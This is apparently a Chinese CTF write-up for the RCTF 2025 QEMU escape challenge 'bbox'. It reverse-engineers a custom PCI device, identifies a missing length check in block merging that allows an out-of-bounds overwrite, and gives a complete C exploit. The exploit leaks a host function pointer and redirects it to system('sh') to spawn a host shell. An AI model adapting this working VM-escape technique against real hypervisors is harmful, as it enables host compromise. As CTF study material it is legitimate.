RCTF 2025 pwn，继 mstr 之后再复现一个相对简单的 qemu escape bbox，如果有空的话再看看那个 v8pwn。（画饼ingChallenge附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体：00000000 struct block // sizeof=0x18 00000000 { 00000000 unsigned int id; 00000004 unsigned int size; 00000008 unsigned int _pad1; 0000000C unsigned int offset; 00000010 unsigned int _pad2; 00000014 unsigned __int8 encrypted; 00000015 unsigned __int8 valid; 00000016 unsigned __int8 _pad3[2]; 00000018 }; 00000000 struct virtsec_device // sizeof=0x10E8 00000000 { 00000000 unsigned __int8 _pad0[3024]; 00000BD0 unsigned int status; 00000BD4 unsigned int session_id; 00000BD8 unsigned int error_code; 00000BDC unsigned __int8 _pad1[32]; 00000BFC unsigned int alloc_size; 00000C00 unsigned int _pad2[2]; 00000C08 struct block blocks[16]; 00000D88 unsigned int _pad3; 00000D8C unsigned int current_id; 00000D90 unsigned int merge_id1; 00000D94 unsigned int merge_id2; 00000D98 unsigned __int8 data[256]; 00000E98 void (*func_ptr)(void *); 00000EA0 void *func_arg; 00000EA8 unsigned __int8 _pad4[256]; 00000FA8 unsigned __int8 key_buffer[256]; 000010A8 unsigned int reg_10A8; 000010AC unsigned __int8 _pad6[36]; 000010D0 unsigned __int64 reg_10D0; 000010D8 unsigned __int64 reg_10D8; 000010E0 unsigned __int64 reg_10E0; 000010E8 };之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks，每个块初始大小最高 0x10，但可以通过 merge 命令合并两个及多个块，直至 256 字节。设备还有 gift 寄存器，向其中写入任意内容后，设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针，再次触发 gift 就会将后者作为首个参数执行前者。（另外还有 session、神秘 command 3 和 xor 加解密，不知道能干啥。）这个 PCI 设备通过 MMIO 交互，我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径（00:04.0 Class 0580: 1234:5678）。出题人非常贴心的在每个操作都输出了 log，要想看到 qemu_log 输出便于调试，可以添加 qemu 命令行参数 -d guest_errors -D qemu.log（qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR）。Bug问题出在块合并，merge 似乎没有任何长度检查，只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块，从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。Exploit只需要将函数指针改成 system，参数改成 sh 就好了。然而由于某些神秘原因，直接向 offset 256 写入的话 qemu 就直接爆了（？不过块合并时自然也会复制数据的，所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset，那只好重新 merge 一遍了。有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello，可能是 pwntools 的问题吧（Exp:#include <fcntl.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> #define REG_CMD 0x0C #define REG_ID 0x14 #define REG_SIZE 0x18 #define REG_MERGE1 0x30 #define REG_MERGE2 0x34 #define REG_GIFT 0x38 #define CMD_SESSION 1 #define CMD_ALLOC 2 #define CMD_SELECT 3 #define CMD_MERGE 4 #define CMD_RESET 6 int fd; volatile void *mmio_ptr; static void write_reg32(int offset, uint32_t value) { *(volatile uint32_t *)(mmio_ptr + offset) = value; } static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); } // static void new_session() { write_reg32(REG_CMD, CMD_SESSION); } static void alloc_blk(uint32_t id, uint32_t size) { write_reg32(REG_ID, id); write_reg32(REG_SIZE, size); write_reg32(REG_CMD, CMD_ALLOC); } static void select_blk(uint32_t id) { write_reg32(REG_ID, id); // write_reg(REG_CMD, CMD_SELECT); } static void merge_blk(uint32_t id1, uint32_t id2) { write_reg32(REG_MERGE1, id1); write_reg32(REG_MERGE2, id2); write_reg32(REG_CMD, CMD_MERGE); } static void dev_res() { write_reg32(REG_CMD, CMD_RESET); } static uint32_t read_data32(size_t offset) { return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset); } static uint64_t read_data64(size_t offset) { uint32_t low32 = read_data32(offset); uint32_t high32 = read_data32(offset + 4); return ((uint64_t)high32 << 32) | low32; } static void write_data32(size_t offset, uint32_t data) { *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data; } static void write_data64(size_t offset, uint64_t data) { write_data32(offset, (uint32_t)data); write_data32(offset + 4, (uint32_t)(data >> 32)); } int main(void) { fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR); if (fd < 0) { perror("open"); exit(EXIT_FAILURE); } puts("[*] Device opened."); mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (mmio_ptr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } puts("[*] MMIO mmaped."); // new_session(); for (size_t i = 0; i < 16; ++i) { alloc_blk(i, 0x10); } puts("[*] Blocks allocated."); for (size_t i = 1; i < 16; ++i) { merge_blk(0, i); } puts("[*] Blocks merged."); alloc_blk(1, 0x10); merge_blk(0, 1); puts("[+] Block merged overflow."); trig_gift(); select_blk(0); size_t host_system_addr = read_data64(256) - 0xf980; // glibc system - printf size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system printf("[+] Host `system` address: 0x%lx\n", host_system_addr); printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr); dev_res(); puts("[*] Reset."); for (size_t i = 0; i < 16; ++i) { alloc_blk(i, 0x10); } puts("[*] Blocks allocated."); for (size_t i = 1; i < 16; ++i) { merge_blk(0, i); } puts("[*] Blocks merged."); alloc_blk(1, 0x10); select_blk(1); write_data64(0, host_system_addr); write_data64(8, host_sh_addr); merge_blk(0, 1); puts("[+] Gift rewritten."); trig_gift(); munmap((void *)mmio_ptr, 0x2000); close(fd); return 0; }直接读写 MMIO 的指针一定要 ➕ volatile，否则可能被编译器优化掉。
西电网安实验班 现代密码学 实验四